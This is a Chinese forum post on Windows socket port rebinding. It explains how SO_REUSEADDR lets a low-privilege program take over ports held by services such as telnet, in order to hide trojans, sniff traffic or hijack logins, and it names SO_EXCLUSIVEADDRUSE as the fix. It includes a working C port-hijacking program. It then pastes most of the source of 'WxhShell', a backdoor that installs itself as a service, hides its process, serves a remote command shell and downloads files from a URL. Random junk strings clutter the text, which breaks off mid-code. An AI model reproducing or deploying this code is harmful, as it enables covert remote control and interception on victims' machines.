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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {6!Mf+Xq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GrGgR7eC#P  
"Q`{+|'=E  
  saddr.sin_family = AF_INET; wO@b=1j  
rteViq+|.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N{IY \/;\  
,--/oP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &THM]3:  
)NGBA."t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /ZlW9|  
8)&H=#E  
  这意味着什么?意味着可以进行如下的攻击: IJ3[6>/ M0  
w1F7gd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :W<ag a;J  
c|x:]W'ij  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _- H uO/  
BA' ($D>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [aU#"k)M  
8XD9fB^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z'6 o$Xv  
#\"8sY,j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y.sf^}  
Unc;@=c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L`cc2.F  
AMA :hQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1!/cd;{B  
x2ln$dSy7  
  #include BP6;dF5 E  
  #include ',n;ag`c  
  #include pMM-LY7%{  
  #include    |tP1,[w">  
  DWORD WINAPI ClientThread(LPVOID lpParam);   , d ?4"8_  
  int main() 0PE $n  
  { @Ytsb!!  
  WORD wVersionRequested; dt{ |bQLu3  
  DWORD ret; ]^Z7w`=%5  
  WSADATA wsaData; =L{lt9qQz  
  BOOL val; _SjS^z~  
  SOCKADDR_IN saddr; ?|Fu^eR%X  
  SOCKADDR_IN scaddr; "tBdz V  
  int err; 2GLq#")P  
  SOCKET s; &_HSrU  
  SOCKET sc; W}EI gVHs  
  int caddsize; #M&rmKv)g  
  HANDLE mt; @g(N!n~  
  DWORD tid;    7=0uG  
  wVersionRequested = MAKEWORD( 2, 2 ); 6* cm  
  err = WSAStartup( wVersionRequested, &wsaData ); /xJ,nwp7  
  if ( err != 0 ) { d*khda;Vj  
  printf("error!WSAStartup failed!\n"); 2x{@19w)C  
  return -1; 17tph;  
  } .qi$X!0  
  saddr.sin_family = AF_INET; S,fMGKcq  
   Za}*6N=?*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .+]e9mV  
kEf}yTy  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FSoL|lH  
  saddr.sin_port = htons(23); HWT0oh]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^*"&e\+p  
  { M7/P&d  
  printf("error!socket failed!\n"); 9~I\WjB "  
  return -1; {J%Na&D  
  } P5* :r3>  
  val = TRUE; ZZ A!Y9ia2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  4%LG9hS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YR'?fr  
  { E0$UoP   
  printf("error!setsockopt failed!\n"); 'Sppm;?  
  return -1; B]ul~FX  
  } H"WkZX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5)' _3r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /p~"?9b[ i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w5gN8ZF3  
Gg|'T}0X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4*&x% ~*  
  { yZ~<! 5.P  
  ret=GetLastError(); EXH{3E54)`  
  printf("error!bind failed!\n"); SJoQaR,)>  
  return -1; h>sz@\{  
  } OYzt>hdH  
  listen(s,2); 'Y(#Yxc  
  while(1) gP/[=:  
  { D QP#h5O  
  caddsize = sizeof(scaddr); 2!\y0*}K  
  //接受连接请求 >&TSz5Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g_G?gO  
  if(sc!=INVALID_SOCKET) SKuZik_  
  { 3H%R`ha  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jWLZ!a3+  
  if(mt==NULL) .{`+bT^b<2  
  { qGuz`&i  
  printf("Thread Creat Failed!\n"); ,pa,:k?  
  break; 0&=2+=[c  
  } 0*L|r Jf  
  } _s><>LH~  
  CloseHandle(mt); D@uw[;Xb5  
  } `Gx"3ZUn  
  closesocket(s); 4q/E7n  
  WSACleanup(); Fkuq'C<|Y  
  return 0; D;Fvd:  
  }   hE\,4c1  
  DWORD WINAPI ClientThread(LPVOID lpParam) oo) P(_"u  
  { -}%'I ]R=  
  SOCKET ss = (SOCKET)lpParam; )&1yt4 x6%  
  SOCKET sc; leiED'  
  unsigned char buf[4096]; >s1FTB-$W  
  SOCKADDR_IN saddr; d8<Lk9H9R  
  long num; bv;&oc:r  
  DWORD val; 6#T?g7\pyR  
  DWORD ret; RKdf1C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E"!9WF(2t5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1)/B V{n  
  saddr.sin_family = AF_INET; kMKI=>s+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GC66n1- X  
  saddr.sin_port = htons(23); +cvz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GsqR8n=  
  { x,E#+ m  
  printf("error!socket failed!\n"); 0t}=F 4@&a  
  return -1; [#V"a:8m}  
  } g-pDk*|I,Q  
  val = 100; &FHE(7}/#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )PL'^gR r  
  { , M/-lW  
  ret = GetLastError(); 5IW^^<kiu  
  return -1; [@kzC/Jq3  
  } _Ta9rDSP]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?*u)T%S  
  { ($E(^p% O  
  ret = GetLastError(); FRF3V>  
  return -1; q?[{fcNh$  
  } d%1S6eYa'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G(JvAe]r  
  { %83PbH  
  printf("error!socket connect failed!\n"); u9:;ft{}N  
  closesocket(sc); `PSr64h:D  
  closesocket(ss); Y((z9-`  
  return -1; *u>2"!+Ob  
  } E?y0UD[8J  
  while(1) NhCO C  
  { fdho`juFa  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^%M!!wlUH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C+P}R]cT"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VPys  
  num = recv(ss,buf,4096,0); ZgtW  
  if(num>0) 4@5rR~DQq  
  send(sc,buf,num,0); 2c5>0f  
  else if(num==0) TMKemci  
  break; 'gUHy1p  
  num = recv(sc,buf,4096,0); vnk"0d.  
  if(num>0) p!' "hx  
  send(ss,buf,num,0); s.1(- "DU  
  else if(num==0) ;s"m* 4N  
  break; BS*cG>T  
  } #Vv*2Mc  
  closesocket(ss); o1MbHBb  
  closesocket(sc); r NU,(htS  
  return 0 ; 20^F -,z  
  }  8czo#&  
o|]xj'  
j2qDRI  
========================================================== lADi  
m{pL< g^M  
下边附上一个代码,,WXhSHELL R{!s%K&  
zq4,%$y8|  
========================================================== akm)X0!-}  
xVfJ ]Y  
#include "stdafx.h" >+u5%5-wr  
W}Nd3  
#include <stdio.h> 2r?g|< :  
#include <string.h> 5PKv@Mk  
#include <windows.h> 1Na CGD"  
#include <winsock2.h> '9auQ(2  
#include <winsvc.h> .Yha(5(  
#include <urlmon.h> feNr!/  
sN-5vYfC*  
#pragma comment (lib, "Ws2_32.lib") TQ=\l*R(A  
#pragma comment (lib, "urlmon.lib") lqX]'gu]\  
o"Ef>5N  
#define MAX_USER   100 // 最大客户端连接数 DbPw) aCj  
#define BUF_SOCK   200 // sock buffer 8x58sOR=  
#define KEY_BUFF   255 // 输入 buffer L}>9@?;GW  
cB.v&BSW  
#define REBOOT     0   // 重启 En5Bsz !  
#define SHUTDOWN   1   // 关机 m|24)%Vj;=  
}5Y.N7F  
#define DEF_PORT   5000 // 监听端口 &`@,mUi{Ac  
!!2~lG<]  
#define REG_LEN     16   // 注册表键长度 H1 \~T  
#define SVC_LEN     80   // NT服务名长度 >%#J8  
Zs+6Zd4f  
// 从dll定义API ywq{9)vq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Esw&ScBOP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8"oS1W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w$Dp m.0(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  V}8J&(\  
w/YKWv{_S  
// wxhshell配置信息 4yRT!k}o  
struct WSCFG { 5U1@wfKE3>  
  int ws_port;         // 监听端口 bXJ,L$q  
  char ws_passstr[REG_LEN]; // 口令 C!qW:H  
  int ws_autoins;       // 安装标记, 1=yes 0=no eDaVoc3  
  char ws_regname[REG_LEN]; // 注册表键名 akd~Z  
  char ws_svcname[REG_LEN]; // 服务名 2$\1v*:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v#-%_V>ph  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ao{wd1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'd(}bYr)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CXUNdB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *ArzXhs[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jy&p_v1  
Fi7pq2  
}; t$\]6RU  
K\?vTgc(  
// default Wxhshell configuration >IoOCQQ*  
struct WSCFG wscfg={DEF_PORT, !m_'<=)B4~  
    "xuhuanlingzhe", z w5EaY  
    1, j{p0yuZ)<  
    "Wxhshell", ).v;~yE   
    "Wxhshell", OEB_LI'  
            "WxhShell Service", D#(A?oN  
    "Wrsky Windows CmdShell Service", X+&@$v1  
    "Please Input Your Password: ", Bct>EWQ  
  1, L x9`y t6  
  "http://www.wrsky.com/wxhshell.exe",  .':SD{  
  "Wxhshell.exe" 5fVdtJk7  
    }; ?:U6MjlQ"{  
3c9v~5og4  
// 消息定义模块 &2QN^)q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rycscE4,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .Z/"L@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nkv2?o>l  
char *msg_ws_ext="\n\rExit."; A\4 Gq  
char *msg_ws_end="\n\rQuit."; 6 _73  
char *msg_ws_boot="\n\rReboot..."; N.&)22<m9  
char *msg_ws_poff="\n\rShutdown..."; uX.Aq@j  
char *msg_ws_down="\n\rSave to "; 6GJ?rE E/  
z#,?*v  
char *msg_ws_err="\n\rErr!"; \9ap$  
char *msg_ws_ok="\n\rOK!"; _ZR2?y-M  
]&}?J:+?0E  
char ExeFile[MAX_PATH]; <Xl G:nmY  
int nUser = 0; (/qY*?  
HANDLE handles[MAX_USER]; J3q}DDnEo  
int OsIsNt; o<C~67o_  
]t #,{%h  
SERVICE_STATUS       serviceStatus; 4<lZ;M"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1%1-j  
3FNj~=N  
// 函数声明 r/{0Y Fa  
int Install(void); t$Qav>D  
int Uninstall(void); ={zYcVI  
int DownloadFile(char *sURL, SOCKET wsh); -sc@SoS  
int Boot(int flag); hKX-]+6"  
void HideProc(void); C #TS  
int GetOsVer(void); N k^#Sa?  
int Wxhshell(SOCKET wsl); /]+t$K\cBq  
void TalkWithClient(void *cs); .5ingB3%  
int CmdShell(SOCKET sock); (F_#LeJ|  
int StartFromService(void); g00XZ0@  
int StartWxhshell(LPSTR lpCmdLine); H 5sj% v  
bZtjg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mb$&~!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "]JS,g {m  
<Pf W  
// 数据结构和表定义 T_B$  
SERVICE_TABLE_ENTRY DispatchTable[] = noL<pkks~R  
{ Dk[[f<H_{  
{wscfg.ws_svcname, NTServiceMain}, E-! `6  
{NULL, NULL} !FO||z(vb  
}; sq :ff  
pLk?<y  
// 自我安装 t,=khZ  
int Install(void) u1>|2D  
{ N$_Rzh"9rr  
  char svExeFile[MAX_PATH]; @-u/('vpB  
  HKEY key; K3\U'bRO  
  strcpy(svExeFile,ExeFile); L*L3;y|  
uFECfh  
// 如果是win9x系统,修改注册表设为自启动 [>6:xGSe9X  
if(!OsIsNt) { 'z+8;g.ekO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >i`'e~%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tK]r>?Y\  
  RegCloseKey(key); WH'[~O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A\z[/3& RK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^iTjr$hQ;  
  RegCloseKey(key); b`%/ *  
  return 0; srC'!I=s>8  
    } f#mY44:,C  
  } TQnMPELh"  
} 'VO^H68  
else { PW.W.<CL  
Fdvex$r&  
// 如果是NT以上系统,安装为系统服务 <4(rY9   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 30F&FTW  
if (schSCManager!=0) <K 4zH<y  
{ w"A'uFXLc  
  SC_HANDLE schService = CreateService j7uiZU;3Rx  
  ( T_I"Tsv  
  schSCManager, SD JAk&Z}R  
  wscfg.ws_svcname, >Wy@J]Y#  
  wscfg.ws_svcdisp, ?b2%\p`"  
  SERVICE_ALL_ACCESS, K4l,YR;r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6'?Y]K  
  SERVICE_AUTO_START, #ljfcQm  
  SERVICE_ERROR_NORMAL, 6AzH'H F  
  svExeFile, Vh'H5v^  
  NULL, wRUpQ~=B2  
  NULL, j;<;?IW  
  NULL, {)jQbAr(G  
  NULL, tQUp1i{j\  
  NULL G~YV6??  
  ); Y_f6y 9?ZE  
  if (schService!=0) yjN|PqtSV  
  { [l'~>  
  CloseServiceHandle(schService); PsLuyGR.<  
  CloseServiceHandle(schSCManager); =;c? 6{<1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QbS w<V  
  strcat(svExeFile,wscfg.ws_svcname); .cle^P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )LH nDx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q0nSOTQ  
  RegCloseKey(key); ~f ){`ZJc  
  return 0; HiVF<tN  
    } | \Qr cf  
  } n_?<q{GW  
  CloseServiceHandle(schSCManager); Po=)jkW  
} #CVD:p  
} uKtrG,/ p  
iVnrv`k,  
return 1;  ZY keW  
} ,uuQj]Dac+  
0UlaB sv  
// 自我卸载 [)9bR1wh  
int Uninstall(void) Dth<hS,2J  
{ {w{|y[[d~  
  HKEY key; v)J6}H}e  
0$* z   
if(!OsIsNt) { f,PFvT$5e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $NJi]g|<3  
  RegDeleteValue(key,wscfg.ws_regname); k,b(MAiQ0  
  RegCloseKey(key); O^oFH OpFh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [YJP  
  RegDeleteValue(key,wscfg.ws_regname); 7c<2oTN'  
  RegCloseKey(key); RQ9T<t42  
  return 0; 9k2HP]8=[{  
  } <[[DS%(M^  
} q4(&.Al\@  
} 2{**bArV  
else { vNi7=3  
^vo^W:   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); USe"1(|E  
if (schSCManager!=0) I@ }:} 8t  
{ >^> \y8on  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z26zl[.  
  if (schService!=0) .ay K+6I  
  { ^|as]x!sv  
  if(DeleteService(schService)!=0) { sStaT R{  
  CloseServiceHandle(schService); $eRxCX?b2  
  CloseServiceHandle(schSCManager); fm:/}7s  
  return 0; y&9v0&o  
  } *1}9`$  
  CloseServiceHandle(schService); "D8x HHb  
  } .U9NQwd  
  CloseServiceHandle(schSCManager); $7M64K{  
} (!{_O_&  
} [*8w v^  
luLm:NWUM  
return 1; \w O)w@"  
} 8R8J./i.K  
g :e|  
// 从指定url下载文件 42t D$S5^  
int DownloadFile(char *sURL, SOCKET wsh) #.a4}ya19  
{ =4+UX*&i?.  
  HRESULT hr; kw|bEL9!u  
char seps[]= "/"; <hQ@]2w$  
char *token; 7f[nNng  
char *file; b"x;i\Z0%  
char myURL[MAX_PATH]; E{ Y0TZ+  
char myFILE[MAX_PATH]; KdYT5VUM/  
y|iZuHS}  
strcpy(myURL,sURL); ;z)$wH0xc  
  token=strtok(myURL,seps); k/!Vv#8  
  while(token!=NULL) M ~.w:~Jm  
  { LDr!d1A  
    file=token; Ri aO`|1  
  token=strtok(NULL,seps); ^/mQo`[G  
  } LQNu]2  
m7^a4  
GetCurrentDirectory(MAX_PATH,myFILE); g|e^}voRM  
strcat(myFILE, "\\"); `=b*g24z[N  
strcat(myFILE, file); NZ9`8&93  
  send(wsh,myFILE,strlen(myFILE),0); J'^BxN&  
send(wsh,"...",3,0); Wky~hm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vg6?a  
  if(hr==S_OK) #=Q/<r.~G  
return 0;  QH9(l  
else kH1l -mxz  
return 1; !bT0kP$3}  
v?n`kw  
} ]n\WCU ]0  
Fov/?:f$  
// 系统电源模块 t*e+[  
int Boot(int flag) +5? s Yp\  
{ j\!zz  
  HANDLE hToken; 9%kY8#%SV  
  TOKEN_PRIVILEGES tkp; -!(3fO:  
\9@*Jgpd6*  
  if(OsIsNt) { KW^s~j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VlXIM,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z]uN9c  
    tkp.PrivilegeCount = 1; ^7F!>!9Ca  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fcD$km  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u%VO'}Gz  
if(flag==REBOOT) { f![x7D$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f(?>z!n0  
  return 0; z`>a,X  
} 9! gmS?f  
else { JR'Q Th:z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \TC&/'7}  
  return 0; XV). cW|.a  
} I2YQIY+  
  } QVn!60[lj  
  else { >xJt&jW-  
if(flag==REBOOT) { {B?%r[nW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4xe:+sA.N  
  return 0; ' OdZ[AN  
} mL18FR N  
else { $ 7O[|:Yv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !*?&V3!  
  return 0; `k^ i#Nc>  
} `Ft`8=(  
} N$p}rh#7{  
i*W8_C:S  
return 1; w v9s{I{P  
} e%(zjCA  
( F0.lDZ  
// win9x进程隐藏模块 sjWhtd[fgG  
void HideProc(void) 2"yzrwZ:  
{ D#W{:_f  
D:8-f3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j4ypXPY``!  
  if ( hKernel != NULL ) s2b!Nib  
  { ?n\~&n'C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H6bomp"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V1xpJ  
    FreeLibrary(hKernel); \ $X3n\  
  } `: i|y  
'[`.&-;  
return; +CX2W('  
} F@"X d9q?  
57v[b-SK  
// 获取操作系统版本 IOvYvFUUJ  
int GetOsVer(void) htMsS4^Kvd  
{ XRJ<1w:  
  OSVERSIONINFO winfo; k[A=:H1"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R:0Fv9bwS  
  GetVersionEx(&winfo); "EWU:9\0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vb{&T<  
  return 1; i ,4  
  else *=~ 9?  
  return 0; { tim{nV  
} XMa(XOnX  
B/i,QBPF]  
// 客户端句柄模块 l \xIGs  
int Wxhshell(SOCKET wsl) 1nBE8 N  
{ fG0rUi(8  
  SOCKET wsh; &zb_8y,  
  struct sockaddr_in client; +_ K7x5g  
  DWORD myID; F{bET  
,#gA(B#  
  while(nUser<MAX_USER) 1S  0GjR  
{ ,;GW n  
  int nSize=sizeof(client); @DU]XKv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Uc<B)7{'  
  if(wsh==INVALID_SOCKET) return 1; 0N_Ma')i  
P ,xayy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h"#^0$f  
if(handles[nUser]==0) 0Q]x[;!k  
  closesocket(wsh); - Kj$A@~x  
else kS/Zb3  
  nUser++; ULjW589 zb  
  } B%^B_s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vnv<]D zC  
p9oru0q  
  return 0; e9k}n\t3  
} 2ZNTg@o  
2X]2;W)S;  
// 关闭 socket g#9KG  
void CloseIt(SOCKET wsh) /<zBcpVNV  
{ n KDX=73  
closesocket(wsh); +3]@0VM26;  
nUser--; 9)aXLM4Y  
ExitThread(0); Ocx=)WKdW  
} 9);a0}*5  
_S2QY7/  
// 客户端请求句柄 D GOc!  
void TalkWithClient(void *cs) fVb&=%e  
{ V8[woJ5x  
/_ o1b_1 U  
  SOCKET wsh=(SOCKET)cs; 2ai \("?  
  char pwd[SVC_LEN]; S>*i^If  
  char cmd[KEY_BUFF]; i?4vdL8M  
char chr[1]; /bfsC& 3  
int i,j; KB *[b  
-Ww'wH'2  
  while (nUser < MAX_USER) { :Oa|&.0l?  
'u_'y  
if(wscfg.ws_passstr) { 'S@h._q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QmbD%kW`3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b==<7[8  
  //ZeroMemory(pwd,KEY_BUFF); 7!Ym~M=  
      i=0; q:J,xC_sF(  
  while(i<SVC_LEN) { -UUP hGC  
@xSS`&b  
  // 设置超时 jP@H$$-=wH  
  fd_set FdRead; ylmf^G@JC  
  struct timeval TimeOut; Kn=P~,FaG3  
  FD_ZERO(&FdRead); ;gK+AU  
  FD_SET(wsh,&FdRead); !;zacw  
  TimeOut.tv_sec=8; 224I%x.,  
  TimeOut.tv_usec=0; {j ${i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LPO3B W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `)1_^# k  
ZfL\3Mn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <CzH'!FJN  
  pwd=chr[0]; RfEmkb<9Z  
  if(chr[0]==0xd || chr[0]==0xa) { Tx`;y|  
  pwd=0; "eZNci  
  break; z)]_(zZ^  
  } 7=Ew[MOmM  
  i++; S=eY`,'#R  
    } {p yo  
$@}6P,mg  
  // 如果是非法用户,关闭 socket |a3)U%rUEQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )z2Tm4>iql  
} nFX8:fZ$>  
\iSaxwU_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]\ sBl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h&NcN-["  
wrac\.  
while(1) { psgXJe$  
6@ ToPbj4  
  ZeroMemory(cmd,KEY_BUFF); 1i$9x$4~E  
na(@`(j[  
      // 自动支持客户端 telnet标准   w[~$.FM/  
  j=0; v&xk?F?WU,  
  while(j<KEY_BUFF) { X<#Q~"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z<sf}6q  
  cmd[j]=chr[0]; _dmgNbs  
  if(chr[0]==0xa || chr[0]==0xd) { .v/s9'lB  
  cmd[j]=0; ~ 9^1m  
  break; !@W1d|{lu  
  } 8QXxRD;0:  
  j++; UfOF's_'<  
    } P7 H-Dw  
jxZ R%D  
  // 下载文件 b@/z^k{%  
  if(strstr(cmd,"http://")) { ?VCb@&*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]Tx8ImD#)A  
  if(DownloadFile(cmd,wsh)) VbKky1a@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |A 8xy#  
  else 4F??9o8}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )l\BZndf  
  } H}dsd=yO  
  else { do+HPnfDzU  
YB*ZYpRVl  
    switch(cmd[0]) { 9"I/jd0B  
  eH(8T  
  // 帮助 C-@@`EP  
  case '?': { .NiPaUzc<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UpN:F  
    break; O)Nj'Hcu  
  } zX{ [Z  
  // 安装 \2L%%M  
  case 'i': { V\r5  
    if(Install()) t(\d;ybyx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x5c pv  
    else ])7t!<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [`6|~E"F  
    break; k8GcHqNHx  
    } :@`Ll;G  
  // 卸载 z<m,Xj4w  
  case 'r': { f:KKOLm  
    if(Uninstall()) =xS(Er`r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n^UrHHOL  
    else iKv{)5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 05TZ  
    break; s~Ni\SF  
    } f)({;,q  
  // 显示 wxhshell 所在路径 uV#/Lgw{M  
  case 'p': { 8]YFlW9  
    char svExeFile[MAX_PATH]; 4["$}O5  
    strcpy(svExeFile,"\n\r"); qg 4:Vq  
      strcat(svExeFile,ExeFile); l$}h1&V7  
        send(wsh,svExeFile,strlen(svExeFile),0); CD +,&id  
    break; R1! {,*Gy  
    } V=H87 ^b  
  // 重启 sc@v\J;k  
  case 'b': { s~6?p% 2]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hd U1gV>  
    if(Boot(REBOOT)) DCACj-f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `2o/W]SSk  
    else { c}U&!R2p{  
    closesocket(wsh); Y 'Yoc  
    ExitThread(0); C8m8ys  
    } c#<v:b  
    break; ([qw#!;w;  
    } &s_[~g<  
  // 关机 HfFP4#C,  
  case 'd': { >Yl?i&3n  
